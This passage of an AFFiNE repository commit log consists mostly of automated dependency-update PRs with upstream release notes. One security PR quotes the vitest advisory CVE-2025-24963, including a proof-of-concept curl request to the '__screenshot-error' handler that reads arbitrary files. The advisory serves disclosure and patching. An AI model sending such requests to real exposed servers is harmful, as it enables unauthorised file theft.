### [`v6.1.0`](https://redirect.github.com/vitejs/vite/blob/HEAD/packages/vite/CHANGELOG.md#610-2025-02-05)

[Compare Source](https://redirect.github.com/vitejs/vite/compare/v6.0.11...v6.1.0)

-   refactor: deprecate `vite optimize` command ([#&#8203;19348](https://redirect.github.com/vitejs/vite/issues/19348)) ([6e0e3c0](6e0e3c0b99)), closes [#&#8203;19348](https://redirect.github.com/vitejs/vite/issues/19348)
-   feat: show hosts in cert in CLI ([#&#8203;19317](https://redirect.github.com/vitejs/vite/issues/19317)) ([a5e306f](a5e306f2fc)), closes [#&#8203;19317](https://redirect.github.com/vitejs/vite/issues/19317)
-   feat: support for env var for defining allowed hosts ([#&#8203;19325](https://redirect.github.com/vitejs/vite/issues/19325)) ([4d88f6c](4d88f6c939)), closes [#&#8203;19325](https://redirect.github.com/vitejs/vite/issues/19325)
-   feat: use native runtime to import the config ([#&#8203;19178](https://redirect.github.com/vitejs/vite/issues/19178)) ([7c2a794](7c2a7942cc)), closes [#&#8203;19178](https://redirect.github.com/vitejs/vite/issues/19178)
-   fix: avoid builtStart during vite optimize ([#&#8203;19356](https://redirect.github.com/vitejs/vite/issues/19356)) ([fdb36e0](fdb36e0769)), closes [#&#8203;19356](https://redirect.github.com/vitejs/vite/issues/19356)
-   fix(build): fix stale build manifest on watch rebuild ([#&#8203;19361](https://redirect.github.com/vitejs/vite/issues/19361)) ([fcd5785](fcd578587b)), closes [#&#8203;19361](https://redirect.github.com/vitejs/vite/issues/19361)

### [`v6.0.11`](https://redirect.github.com/vitejs/vite/blob/HEAD/packages/vite/CHANGELOG.md#small6011-2025-01-21-small)

[Compare Source](https://redirect.github.com/vitejs/vite/compare/v6.0.10...v6.0.11)

-   fix: `preview.allowedHosts` with specific values was not respected ([#&#8203;19246](https://redirect.github.com/vitejs/vite/issues/19246)) ([aeb3ec8](aeb3ec84a2)), closes [#&#8203;19246](https://redirect.github.com/vitejs/vite/issues/19246)
-   fix: allow CORS from loopback addresses by default ([#&#8203;19249](https://redirect.github.com/vitejs/vite/issues/19249)) ([3d03899](3d03899737)), closes [#&#8203;19249](https://redirect.github.com/vitejs/vite/issues/19249)

### [`v6.0.10`](https://redirect.github.com/vitejs/vite/blob/HEAD/packages/vite/CHANGELOG.md#small6010-2025-01-20-small)

[Compare Source](https://redirect.github.com/vitejs/vite/compare/v6.0.9...v6.0.10)

-   fix: try parse `server.origin` URL ([#&#8203;19241](https://redirect.github.com/vitejs/vite/issues/19241)) ([2495022](2495022420)), closes [#&#8203;19241](https://redirect.github.com/vitejs/vite/issues/19241)

</details>

<details>
<summary>apollographql/apollo-kotlin (com.apollographql.apollo)</summary>

### [`v4.1.1`](https://redirect.github.com/apollographql/apollo-kotlin/blob/HEAD/CHANGELOG.md#Version-411)

*2025-01-24*

#### Kotlin 2.1.0 ([#&#8203;6291](https://redirect.github.com/apollographql/apollo-kotlin/issues/6291))

The artifacts are now compiled with [Kotlin 2.1.0](https://kotlinlang.org/docs/whatsnew21.html). This change should be transparent for JVM and Android users thanks to [`languageVersion`](https://kotlinlang.org/docs/compatibility-modes.html) but [requires klib consumers (native + JS) to update their KGP version to 2.1.0](8add2e3b98/compiler/util-klib/KotlinAbiVersionBumpHistory.md (L3-L5)).

#### Rover LSP support in the IntelliJ plugin ([#&#8203;6274](https://redirect.github.com/apollographql/apollo-kotlin/issues/6274))

The IntelliJ plugin now has a dedicated mode for backend developers that uses [Rover](https://redirect.github.com/apollographql/rover) LSP ([Language Server Protocol](https://en.wikipedia.org/wiki/Language_Server_Protocol)) to parse federation and connectors directives. This mode is only available when using IntelliJ Ultimate and other IDEs with LSP support. It is recommended for subgraphs authors.

#### Gradle isolated projects support ([#&#8203;6351](https://redirect.github.com/apollographql/apollo-kotlin/issues/6351))

This release supports [Gradle isolated projects](https://docs.gradle.org/current/userguide/isolated_projects.html) for shorter configuration times.

#### Contributors 💙💙

Many thanks to [@&#8203;jvanderwee](https://redirect.github.com/jvanderwee), [@&#8203;varahash](https://redirect.github.com/varahash), [@&#8203;whyoleg](https://redirect.github.com/whyoleg), [@&#8203;StylianosGakis](https://redirect.github.com/StylianosGakis) and [@&#8203;scana](https://redirect.github.com/scana) for all the contributions and help in this release 💙!

#### 👷‍♂️ All changes

-   \[all] Do not set the license URL in the POMs ([#&#8203;6247](https://redirect.github.com/apollographql/apollo-kotlin/issues/6247))
-   \[all] Bump Kotlin to 2.1.0 ([#&#8203;6291](https://redirect.github.com/apollographql/apollo-kotlin/issues/6291))
-   \[all] Bump atomicfu ([#&#8203;6245](https://redirect.github.com/apollographql/apollo-kotlin/issues/6245))
-   \[intellij-plugin] Play nice with IDEs without Kotlin/Gradle ([#&#8203;6358](https://redirect.github.com/apollographql/apollo-kotlin/issues/6358))
-   \[intellij-plugin] Reduce usage of GradleExecutionHelper ([#&#8203;6355](https://redirect.github.com/apollographql/apollo-kotlin/issues/6355))
-   \[intellij-plugin] Use our own executeOnPooledThread instead of Android Plugin's ([#&#8203;6310](https://redirect.github.com/apollographql/apollo-kotlin/issues/6310))
-   \[intellij-plugin] Make Java and Kotlin dependencies optional ([#&#8203;6304](https://redirect.github.com/apollographql/apollo-kotlin/issues/6304))
-   \[intellij-plugin] Pass arguments to rover ([#&#8203;6303](https://redirect.github.com/apollographql/apollo-kotlin/issues/6303))
-   \[intellij-plugin] Move Rover settings to own section and add note about needing v0.27.0+ ([#&#8203;6278](https://redirect.github.com/apollographql/apollo-kotlin/issues/6278))
-   \[intellij-plugin] Remove untilBuild ([#&#8203;6279](https://redirect.github.com/apollographql/apollo-kotlin/issues/6279))
-   \[intellij-plugin] Add support for the Apollo LSP via Rover ([#&#8203;6274](https://redirect.github.com/apollographql/apollo-kotlin/issues/6274))
-   \[intellij-plugin] Don't reference AdbShellCommandsUtil.executeCommandBlocking that's been removed ([#&#8203;6268](https://redirect.github.com/apollographql/apollo-kotlin/issues/6268))
-   \[intellij-plugin] Make verifyPlugin fail on certain problems ([#&#8203;6256](https://redirect.github.com/apollographql/apollo-kotlin/issues/6256))
-   \[intellij-plugin] Do not use internal symbol ([#&#8203;6255](https://redirect.github.com/apollographql/apollo-kotlin/issues/6255))
-   \[intellij-plugin] Add explicit dependency to com.intellij.modules.json ([#&#8203;6254](https://redirect.github.com/apollographql/apollo-kotlin/issues/6254))
-   \[gradle-plugin] Add a fail-safe mode to disable 2-step introspection and use minimal introspection query ([#&#8203;6360](https://redirect.github.com/apollographql/apollo-kotlin/issues/6360))
-   \[gradle-plugin] Isolated Projects support ([#&#8203;6351](https://redirect.github.com/apollographql/apollo-kotlin/issues/6351))
-   \[gradle-plugin] expose the outgoing variants ([#&#8203;6329](https://redirect.github.com/apollographql/apollo-kotlin/issues/6329))
-   \[gradle-plugin] Better Gradle error message ([#&#8203;6326](https://redirect.github.com/apollographql/apollo-kotlin/issues/6326))
-   \[gradle-plugin] Fix classloader caching. Many thanks [@&#8203;scana](https://redirect.github.com/scana) for catching this ([#&#8203;6309](https://redirect.github.com/apollographql/apollo-kotlin/issues/6309))
-   \[gradle-plugin] Manage our classloaders manually ([#&#8203;6305](https://redirect.github.com/apollographql/apollo-kotlin/issues/6305))
-   \[gradle-plugin] Only call `onSchema()` once in multi-module scenrios ([#&#8203;6252](https://redirect.github.com/apollographql/apollo-kotlin/issues/6252))
-   \[runtime] Copy executionContext inside HttpRequest.newBuilder ([#&#8203;6350](https://redirect.github.com/apollographql/apollo-kotlin/issues/6350))
-   \[runtime] Apple HttpEngine: lock the handlers map ([#&#8203;6348](https://redirect.github.com/apollographql/apollo-kotlin/issues/6348))
-   \[runtime] Allow to initialize WebSocketEngine lazily ([#&#8203;6290](https://redirect.github.com/apollographql/apollo-kotlin/issues/6290))
-   \[runtime] Remove CloseableBackgroundDispatcher and bump coroutines version ([#&#8203;6286](https://redirect.github.com/apollographql/apollo-kotlin/issues/6286))
-   \[runtime] Override JsonNumber.toString() ([#&#8203;6273](https://redirect.github.com/apollographql/apollo-kotlin/issues/6273))
-   \[runtime] Implement ApolloWebSocketClosedException on darwin targets and update docs ([#&#8203;6275](https://redirect.github.com/apollographql/apollo-kotlin/issues/6275))
-   \[ast] Make deprecation.reason non-nullable ([#&#8203;6311](https://redirect.github.com/apollographql/apollo-kotlin/issues/6311))
-   \[ast] Allow multiple [@&#8203;link](https://redirect.github.com/link) schema extensions ([#&#8203;6284](https://redirect.github.com/apollographql/apollo-kotlin/issues/6284))
-   \[normalized-cache] Add ApolloStore.ALL_KEYS to notify all watchers ([#&#8203;6337](https://redirect.github.com/apollographql/apollo-kotlin/issues/6337))
-   \[http-cache] HTTP cache: do not remove cached entries on transport errors ([#&#8203;6314](https://redirect.github.com/apollographql/apollo-kotlin/issues/6314))
-   \[execution] Add apollo-execution ([#&#8203;6356](https://redirect.github.com/apollographql/apollo-kotlin/issues/6356))

</details>

<details>
<summary>JetBrains/kotlin (org.jetbrains.kotlin.jvm)</summary>

### [`v2.1.10`](https://redirect.github.com/JetBrains/kotlin/blob/HEAD/ChangeLog.md#2110)

##### Compiler

-   [`KT-73858`](https://youtrack.jetbrains.com/issue/KT-73858) Compose  / iOS: NullPointerException on building
-   [`KT-73454`](https://youtrack.jetbrains.com/issue/KT-73454) K2: Fix type parameters mapping for typealiases with inner RHS
-   [`KT-73043`](https://youtrack.jetbrains.com/issue/KT-73043) K2 Compiler does not allow references to inner constructors with typealiases
-   [`KT-74040`](https://youtrack.jetbrains.com/issue/KT-74040) Compilation of inner class usage does not check the visibility of parent class during compilation in different rounds
-   [`KT-73339`](https://youtrack.jetbrains.com/issue/KT-73339) K2: "VerifyError: Bad type on operand stack" because of missing implicit cast on generic field receiver with star projection
-   [`KT-72585`](https://youtrack.jetbrains.com/issue/KT-72585) K2: Compilation failure when upgrading to Kotlin 2.0.20+: Cannot replace top-level type with star projection: S
-   [`KT-73399`](https://youtrack.jetbrains.com/issue/KT-73399) compile-time JVM codegen failure on a KProperty argument of a KSuspendFunction parameter
-   [`KT-72725`](https://youtrack.jetbrains.com/issue/KT-72725) KMP: Unsupported actualization of inherited java field in expect class
-   [`KT-73153`](https://youtrack.jetbrains.com/issue/KT-73153) K2: Standalone diagnostics on type arguments are not reported

##### Compose compiler

-   [`CMP-5680`](https://youtrack.jetbrains.com/issue/CMP-5680) Compose compiler: unexpected stability warnings for classes compiled with 2.0.10
-   [`b/381407900`](https://issuetracker.google.com/issues/381407900) Avoid adding Compose annotations on synthetic classes

##### IR. Inlining

-   [`KT-73981`](https://youtrack.jetbrains.com/issue/KT-73981) Cherry-pick the fix for KT-73482 to 2.1.10

##### JavaScript

-   [`KT-70778`](https://youtrack.jetbrains.com/issue/KT-70778) Kotlin Js companion is undefined  in production build
-   [`KT-73130`](https://youtrack.jetbrains.com/issue/KT-73130) KJS: Missed `break` for do/while in generated JS code
-   [`KT-58797`](https://youtrack.jetbrains.com/issue/KT-58797) Optimize the code generated for objects on JS and Wasm backends

##### Klibs

-   [`KT-70146`](https://youtrack.jetbrains.com/issue/KT-70146) \[KLIB Resolve] Don't fail on nonexistent transitive dependency
-   [`KT-73951`](https://youtrack.jetbrains.com/issue/KT-73951) Workaround for "Partial linkage engine may not patch some discrepancies in IR when compiling Kotlin/Native static caches" in 2.1.10

##### Native

-   [`KT-73559`](https://youtrack.jetbrains.com/issue/KT-73559) K/Native: AndroidNativeArm64 linking fails starting from Kotlin 2.1.0

##### Tools. CLI

-   [`KT-73967`](https://youtrack.jetbrains.com/issue/KT-73967) JDK 25: "IllegalArgumentException: 25-ea" with EA builds

##### Tools. Daemon

-   [`KT-73311`](https://youtrack.jetbrains.com/issue/KT-73311) "Unable to release compile session, maybe daemon is already down" flakiness

##### Tools. Gradle

-   [`KT-73728`](https://youtrack.jetbrains.com/issue/KT-73728) 'generatePomFileForMavenPublication' creates pom with dependencies with 'unspecified' version

##### Tools. Gradle. Multiplatform

-   [`KT-73620`](https://youtrack.jetbrains.com/issue/KT-73620) KMP 2.1.0: Transitive dependency is broken when setting publication groupId

##### Tools. Gradle. Native

-   [`KT-73572`](https://youtrack.jetbrains.com/issue/KT-73572) \[Gradle] `kotlin.native.cacheKind=none` doesn't work anymore
-   [`KT-71419`](https://youtrack.jetbrains.com/issue/KT-71419) Light bundle KGP IT run against a stable K/N version

</details>

---

### Configuration

📅 **Schedule**: Branch creation - At any time (no schedule defined), Automerge - At any time (no schedule defined).

🚦 **Automerge**: Disabled by config. Please merge this manually once you are satisfied.

♻ **Rebasing**: Whenever PR becomes conflicted, or you tick the rebase/retry checkbox.

👻 **Immortal**: This PR will be recreated if closed unmerged. Get [config help](https://redirect.github.com/renovatebot/renovate/discussions) if that's undesired.

---

 - [ ] <!-- rebase-check -->If you want to rebase/retry this PR, check this box

---

This PR was generated by [Mend Renovate](https://mend.io/renovate/). View the [repository job log](https://developer.mend.io/github/toeverything/AFFiNE).
<!--renovate-debug:eyJjcmVhdGVkSW5WZXIiOiIzOS4xNDUuMCIsInVwZGF0ZWRJblZlciI6IjM5LjE0NS4wIiwidGFyZ2V0QnJhbmNoIjoiY2FuYXJ5IiwibGFiZWxzIjpbImRlcGVuZGVuY2llcyJdfQ==-->
2025-02-06 05:09:51 +00:00
forehalo
d3843d8f11 refactor(server): role actions definition (#9962) 2025-02-06 04:54:34 +00:00
renovate
31d251d44f chore: Lock file maintenance (#9654)
This PR contains the following updates:

| Update | Change |
|---|---|
| lockFileMaintenance | All locks refreshed |

🔧 This Pull Request updates lock files to use the latest dependency versions.

---

### Configuration

📅 **Schedule**: Branch creation - "* 0-3 * * 1" (UTC), Automerge - At any time (no schedule defined).

🚦 **Automerge**: Disabled by config. Please merge this manually once you are satisfied.

♻ **Rebasing**: Whenever PR becomes conflicted, or you tick the rebase/retry checkbox.

👻 **Immortal**: This PR will be recreated if closed unmerged. Get [config help](https://redirect.github.com/renovatebot/renovate/discussions) if that's undesired.

---

 - [ ] <!-- rebase-check -->If you want to rebase/retry this PR, check this box

---

This PR was generated by [Mend Renovate](https://mend.io/renovate/). View the [repository job log](https://developer.mend.io/github/toeverything/AFFiNE).
<!--renovate-debug:eyJjcmVhdGVkSW5WZXIiOiIzOS45Mi4wIiwidXBkYXRlZEluVmVyIjoiMzkuOTIuMCIsInRhcmdldEJyYW5jaCI6ImNhbmFyeSIsImxhYmVscyI6WyJkZXBlbmRlbmNpZXMiXX0=-->
2025-02-06 04:11:07 +00:00
CatsJuice
90cb37086d fix(ios): add camera/photo library privacy description (#9954) 2025-02-06 03:41:17 +00:00
fengmk2
a2acacea3b refactor(server): use userDoc model on PgUserspaceDocStorageAdapter (#9845)
close CLOUD-104
2025-02-06 11:08:06 +08:00
fengmk2
8e7cfb6115 feat(server): userDoc model (#9835)
close CLOUD-104
2025-02-06 11:08:06 +08:00
fengmk2
b40f007ccf feat(server): doc model (#9834)
close CLOUD-104
2025-02-06 02:50:27 +00:00
Yifeng Wang
077a1b38ac refactor(editor): use model coord system in worker renderer (#9969) 2025-02-06 10:36:59 +08:00
renovate
e35d930f9f chore: bump up happy-dom version to v17 (#9971)
This PR contains the following updates:

| Package | Change | Age | Adoption | Passing | Confidence |
|---|---|---|---|---|---|
| [happy-dom](https://redirect.github.com/capricorn86/happy-dom) | [`^16.0.0` -> `^17.0.0`](https://renovatebot.com/diffs/npm/happy-dom/16.6.0/17.0.0) | [![age](https://developer.mend.io/api/mc/badges/age/npm/happy-dom/17.0.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/happy-dom/17.0.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/happy-dom/16.6.0/17.0.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/happy-dom/16.6.0/17.0.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) |

---

### Release Notes

<details>
<summary>capricorn86/happy-dom (happy-dom)</summary>

### [`v17.0.0`](https://redirect.github.com/capricorn86/happy-dom/releases/tag/v17.0.0)

[Compare Source](https://redirect.github.com/capricorn86/happy-dom/compare/v16.8.1...v17.0.0)

##### 💣 Breaking Changes

-   Adds support for ECMAScript modules - By **[@&#8203;capricorn86](https://redirect.github.com/capricorn86)** in task [#&#8203;320](https://redirect.github.com/capricorn86/happy-dom/issues/320)
    -   This change allows the use of `import` and `export` statements in JavaScript files

##### 🎨 Features

-   Adds support for tracing unended tasks when using `waitUntilComplete()` - By **[@&#8203;capricorn86](https://redirect.github.com/capricorn86)** in task [#&#8203;1567](https://redirect.github.com/capricorn86/happy-dom/issues/1567)
    -   Read more about how to enable this feature under `debug.traceWaitUntilComplete` in the Wiki for [IBrowserSettings](https://redirect.github.com/capricorn86/happy-dom/wiki/IBrowserSettings)
-   Adds support for preloading fetch, stylesheet, script and modules in `HTMLLinkElement` - By **[@&#8203;capricorn86](https://redirect.github.com/capricorn86)** in task [#&#8203;320](https://redirect.github.com/capricorn86/happy-dom/issues/320)
-   Adds support for `HTMLLinkElement.relList.supports()` - By **[@&#8203;capricorn86](https://redirect.github.com/capricorn86)** in task [#&#8203;320](https://redirect.github.com/capricorn86/happy-dom/issues/320)
-   Adds support for `Request.mode` - By **[@&#8203;capricorn86](https://redirect.github.com/capricorn86)** in task [#&#8203;320](https://redirect.github.com/capricorn86/happy-dom/issues/320)
-   Output failed requests to the console - By **[@&#8203;capricorn86](https://redirect.github.com/capricorn86)** in task [#&#8203;320](https://redirect.github.com/capricorn86/happy-dom/issues/320)
-   Adds support for `HTMLScriptElement.blocking`, `HTMLScriptElement.crossOrigin`, `HTMLScriptElement.fetchPriority`, `HTMLScriptElement.noModule`, `HTMLScriptElement.integrity`, `HTMLScriptElement.referrerPolicy` - By **[@&#8203;capricorn86](https://redirect.github.com/capricorn86)** in task [#&#8203;320](https://redirect.github.com/capricorn86/happy-dom/issues/320)
-   Use cache in virtual server requests - By **[@&#8203;capricorn86](https://redirect.github.com/capricorn86)** in task [#&#8203;320](https://redirect.github.com/capricorn86/happy-dom/issues/320)
-   Adds support for `credentials` and `referrerPolicy` when fetching styles and scripts - By **[@&#8203;capricorn86](https://redirect.github.com/capricorn86)** in task [#&#8203;320](https://redirect.github.com/capricorn86/happy-dom/issues/320)
-   Disallow invalid attributes from being set in `Element.setAttribute()` - By **[@&#8203;OlaviSau](https://redirect.github.com/OlaviSau)** in task [#&#8203;1706](https://redirect.github.com/capricorn86/happy-dom/issues/1706)

##### 👷‍♂️ Patch fixes

-   Call `afterAsyncResponse` fetch interceptor in virtual server requests - By **[@&#8203;capricorn86](https://redirect.github.com/capricorn86)** in task [#&#8203;320](https://redirect.github.com/capricorn86/happy-dom/issues/320)
-   Fixes bug where children in a `ShadowRoot` of a custom element that was upgraded from a `HTMLElement` wasn't considered connected to the DOM - By **[@&#8203;capricorn86](https://redirect.github.com/capricorn86)** in task [#&#8203;320](https://redirect.github.com/capricorn86/happy-dom/issues/320)

### [`v16.8.1`](https://redirect.github.com/capricorn86/happy-dom/releases/tag/v16.8.1)

[Compare Source](https://redirect.github.com/capricorn86/happy-dom/compare/v16.8.0...v16.8.1)

##### 👷‍♂️ Patch fixes

-   Handle non-string values gracefully when removing an attribute - By **[@&#8203;OlaviSau](https://redirect.github.com/OlaviSau)** in task [#&#8203;1706](https://redirect.github.com/capricorn86/happy-dom/issues/1706)

### [`v16.8.0`](https://redirect.github.com/capricorn86/happy-dom/releases/tag/v16.8.0)

[Compare Source](https://redirect.github.com/capricorn86/happy-dom/compare/v16.7.3...v16.8.0)

##### 🎨 Features

-   Add support for `insertRow()` and `deleteRow()` to `HTMLTableSectionElement` - By **[@&#8203;christiango](https://redirect.github.com/christiango)** in task [#&#8203;1708](https://redirect.github.com/capricorn86/happy-dom/issues/1708)

### [`v16.7.3`](https://redirect.github.com/capricorn86/happy-dom/releases/tag/v16.7.3)

[Compare Source](https://redirect.github.com/capricorn86/happy-dom/compare/v16.7.2...v16.7.3)

##### 👷‍♂️ Patch fixes

-   Removes space from directory name that prevents the repo to be cloned on MS Windows - By **[@&#8203;kleinfreund](https://redirect.github.com/kleinfreund)** in task [#&#8203;1703](https://redirect.github.com/capricorn86/happy-dom/issues/1703)

### [`v16.7.2`](https://redirect.github.com/capricorn86/happy-dom/releases/tag/v16.7.2)

[Compare Source](https://redirect.github.com/capricorn86/happy-dom/compare/v16.7.1...v16.7.2)

##### 👷‍♂️ Patch fixes

-   Ignore invalid cookies in CookieContainer - By **[@&#8203;capricorn86](https://redirect.github.com/capricorn86)** in task [#&#8203;1693](https://redirect.github.com/capricorn86/happy-dom/issues/1693)

### [`v16.7.1`](https://redirect.github.com/capricorn86/happy-dom/releases/tag/v16.7.1)

[Compare Source](https://redirect.github.com/capricorn86/happy-dom/compare/v16.7.0...v16.7.1)

##### 👷‍♂️ Patch fixes

-   Adds `ICookie`, `IOptionalCookie`, `CookieSameSiteEnum` and `IVirtualServer` as exports to the index file - By **[@&#8203;capricorn86](https://redirect.github.com/capricorn86)** in task [#&#8203;1693](https://redirect.github.com/capricorn86/happy-dom/issues/1693)
-   Makes non-mandatory cookie properties optional in `CookieContainer.addCookies()` - By **[@&#8203;capricorn86](https://redirect.github.com/capricorn86)** in task [#&#8203;1693](https://redirect.github.com/capricorn86/happy-dom/issues/1693)

### [`v16.7.0`](https://redirect.github.com/capricorn86/happy-dom/releases/tag/v16.7.0)

[Compare Source](https://redirect.github.com/capricorn86/happy-dom/compare/v16.6.0...v16.7.0)

##### 🎨 Features

-   Adds support for simulating local HTTP servers that serves files from the local file system - By **[@&#8203;capricorn86](https://redirect.github.com/capricorn86)** in task [#&#8203;1688](https://redirect.github.com/capricorn86/happy-dom/issues/1688)
    -   Read more about virtual servers in the [Wiki](https://redirect.github.com/capricorn86/happy-dom/wiki/IVirtualServer)

</details>

---

### Configuration

📅 **Schedule**: Branch creation - At any time (no schedule defined), Automerge - At any time (no schedule defined).

🚦 **Automerge**: Disabled by config. Please merge this manually once you are satisfied.

♻ **Rebasing**: Whenever PR becomes conflicted, or you tick the rebase/retry checkbox.

🔕 **Ignore**: Close this PR and you won't be reminded about this update again.

---

 - [ ] <!-- rebase-check -->If you want to rebase/retry this PR, check this box

---

This PR was generated by [Mend Renovate](https://mend.io/renovate/). View the [repository job log](https://developer.mend.io/github/toeverything/AFFiNE).
<!--renovate-debug:eyJjcmVhdGVkSW5WZXIiOiIzOS4xNDUuMCIsInVwZGF0ZWRJblZlciI6IjM5LjE0NS4wIiwidGFyZ2V0QnJhbmNoIjoiY2FuYXJ5IiwibGFiZWxzIjpbImRlcGVuZGVuY2llcyJdfQ==-->
2025-02-06 01:24:25 +00:00
JimmFly
2ed03eaed7 fix(core): workspace storage rows are displayed unexpectedly (#9539)
close AF-2066
2025-02-05 23:58:01 +08:00
Brooooooklyn
7f2b07a701 feat(native): bump deps (#9966) 2025-02-05 13:48:18 +00:00
Brooooooklyn
58aa18afa6 style: run clippy fix and fmt (#9965) 2025-02-05 13:48:17 +00:00
Brooooooklyn
db1fcf42c9 chore(server): stdout is enough for collecting server logging (#9964)
`@google-cloud/logging-winston` is not working well :(

![image](https://github.com/user-attachments/assets/1d5f44e6-7ca5-40b7-bcfa-d22c276ad813)
2025-02-05 13:25:11 +00:00
pengx17
d3400fbe89 fix(core): local blobs are not being deleted when gc in unused blobs settings (#9960) 2025-02-05 13:01:18 +00:00
donteatfriedrice
9cae1c3a28 fix(core): copilot client should throw right ai error (#9958)
[BS-2488](https://linear.app/affine-design/issue/BS-2488/copilot-client-需要正确返回错误类型)
2025-02-05 12:46:13 +00:00
forehalo
4ed03c9f0e feat(i18n): introduce server error i18n (#9953)
close AF-2054
2025-02-05 12:30:19 +00:00
renovate
4a943d854e chore: bump up @vitest/browser version to v3.0.4 [SECURITY] (#9937)
This PR contains the following updates:

| Package | Change | Age | Adoption | Passing | Confidence |
|---|---|---|---|---|---|
| [@vitest/browser](https://redirect.github.com/vitest-dev/vitest/tree/main/packages/browser#readme) ([source](https://redirect.github.com/vitest-dev/vitest/tree/HEAD/packages/browser)) | [`3.0.2` -> `3.0.4`](https://renovatebot.com/diffs/npm/@vitest%2fbrowser/3.0.2/3.0.4) | [![age](https://developer.mend.io/api/mc/badges/age/npm/@vitest%2fbrowser/3.0.4?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/@vitest%2fbrowser/3.0.4?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/@vitest%2fbrowser/3.0.2/3.0.4?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/@vitest%2fbrowser/3.0.2/3.0.4?slim=true)](https://docs.renovatebot.com/merge-confidence/) |

### GitHub Vulnerability Alerts

#### [CVE-2025-24963](https://redirect.github.com/vitest-dev/vitest/security/advisories/GHSA-8gvc-j273-4wm5)

### Summary
`__screenshot-error` handler on the browser mode HTTP server that responds any file on the file system. Especially if the server is exposed on the network by [`browser.api.host: true`](https://vitest.dev/guide/browser/config.html#browser-api), an attacker can send a request to that handler from remote to get the content of arbitrary files.

### Details
This `__screenshot-error` handler on the browser mode HTTP server responds any file on the file system.
f17918a799/packages/browser/src/node/plugin.ts (L88-L130)

This code was added by 2d62051f13.

### PoC
1. Create a directory and change the current directory to that directory
1. Run `npx vitest init browser`
1. Run `npm run test:browser`
2. Run `curl http://localhost:63315/__screenshot-error?file=/path/to/any/file`

### Impact
Users explicitly exposing the browser mode server to the network by [`browser.api.host: true`](https://vitest.dev/guide/browser/config.html#browser-api) may get any files exposed.

---

### Release Notes

<details>
<summary>vitest-dev/vitest (@&#8203;vitest/browser)</summary>

### [`v3.0.4`](https://redirect.github.com/vitest-dev/vitest/releases/tag/v3.0.4)

[Compare Source](https://redirect.github.com/vitest-dev/vitest/compare/v3.0.3...v3.0.4)

#####    🐞 Bug Fixes

-   Filter projects eagerly during config resolution  -  by [@&#8203;sheremet-va](https://redirect.github.com/sheremet-va) and [@&#8203;AriPerkkio](https://redirect.github.com/AriPerkkio) in [https://github.com/vitest-dev/vitest/issues/7313](https://redirect.github.com/vitest-dev/vitest/issues/7313) [<samp>(dff44)</samp>](https://redirect.github.com/vitest-dev/vitest/commit/dff4406d)
-   Apply `development|production` condition on Vites 6 by [@&#8203;hi-ogawa](https://redirect.github.com/hi-ogawa) and [@&#8203;sheremet-va](https://redirect.github.com/sheremet-va) ([#&#8203;7301](https://redirect.github.com/vitest-dev/vitest/issues/7301)) [<samp>(ef146)</samp>](ef1464fc7b)
-   **browser**: Restrict served files from `/__screenshot-error`  -  by [@&#8203;hi-ogawa](https://redirect.github.com/hi-ogawa) in [https://github.com/vitest-dev/vitest/issues/7340](https://redirect.github.com/vitest-dev/vitest/issues/7340) [<samp>(ed9ae)</samp>](https://redirect.github.com/vitest-dev/vitest/commit/ed9aeba2)
-   **deps**: Update all non-major dependencies  -  by [@&#8203;sheremet-va](https://redirect.github.com/sheremet-va) in [https://github.com/vitest-dev/vitest/issues/7297](https://redirect.github.com/vitest-dev/vitest/issues/7297) [<samp>(38ea8)</samp>](https://redirect.github.com/vitest-dev/vitest/commit/38ea8eae)
-   **runner**: Timeout long sync hook  -  by [@&#8203;hi-ogawa](https://redirect.github.com/hi-ogawa) in [https://github.com/vitest-dev/vitest/issues/7289](https://redirect.github.com/vitest-dev/vitest/issues/7289) [<samp>(c60ee)</samp>](https://redirect.github.com/vitest-dev/vitest/commit/c60ee27c)
-   **typechecking**: Support typechecking parsing with Vite 6  -  by [@&#8203;sheremet-va](https://redirect.github.com/sheremet-va) in [https://github.com/vitest-dev/vitest/issues/7335](https://redirect.github.com/vitest-dev/vitest/issues/7335) [<samp>(bff70)</samp>](https://redirect.github.com/vitest-dev/vitest/commit/bff70be9)
-   **types**: Fix public types  -  by [@&#8203;mrginglymus](https://redirect.github.com/mrginglymus) and [@&#8203;sheremet-va](https://redirect.github.com/sheremet-va) in [https://github.com/vitest-dev/vitest/issues/7328](https://redirect.github.com/vitest-dev/vitest/issues/7328) [<samp>(ce6af)</samp>](https://redirect.github.com/vitest-dev/vitest/commit/ce6af70c)

#####     [View changes on GitHub](https://redirect.github.com/vitest-dev/vitest/compare/v3.0.3...v3.0.4)

### [`v3.0.3`](https://redirect.github.com/vitest-dev/vitest/releases/tag/v3.0.3)

[Compare Source](https://redirect.github.com/vitest-dev/vitest/compare/v3.0.2...v3.0.3)

#####    🐞 Bug Fixes

-   **browser**:
    -   Don't throw a validation error if v8 coverage is used with filtered instances  -  by [@&#8203;sheremet-va](https://redirect.github.com/sheremet-va) in [https://github.com/vitest-dev/vitest/issues/7306](https://redirect.github.com/vitest-dev/vitest/issues/7306) [<samp>(fa463)</samp>](https://redirect.github.com/vitest-dev/vitest/commit/fa4634b2)
    -   Don't fail when running --browser.headless if the browser projest is part of the workspace  -  by [@&#8203;sheremet-va](https://redirect.github.com/sheremet-va) in [https://github.com/vitest-dev/vitest/issues/7311](https://redirect.github.com/vitest-dev/vitest/issues/7311) [<samp>(e43a8)</samp>](https://redirect.github.com/vitest-dev/vitest/commit/e43a8f56)

#####    🏎 Performance

-   **reporters**: Update summary only when needed  -  by [@&#8203;AriPerkkio](https://redirect.github.com/AriPerkkio) in [https://github.com/vitest-dev/vitest/issues/7291](https://redirect.github.com/vitest-dev/vitest/issues/7291) [<samp>(7f36b)</samp>](https://redirect.github.com/vitest-dev/vitest/commit/7f36b6f9)

#####     [View changes on GitHub](https://redirect.github.com/vitest-dev/vitest/compare/v3.0.2...v3.0.3)

</details>

---

### Configuration

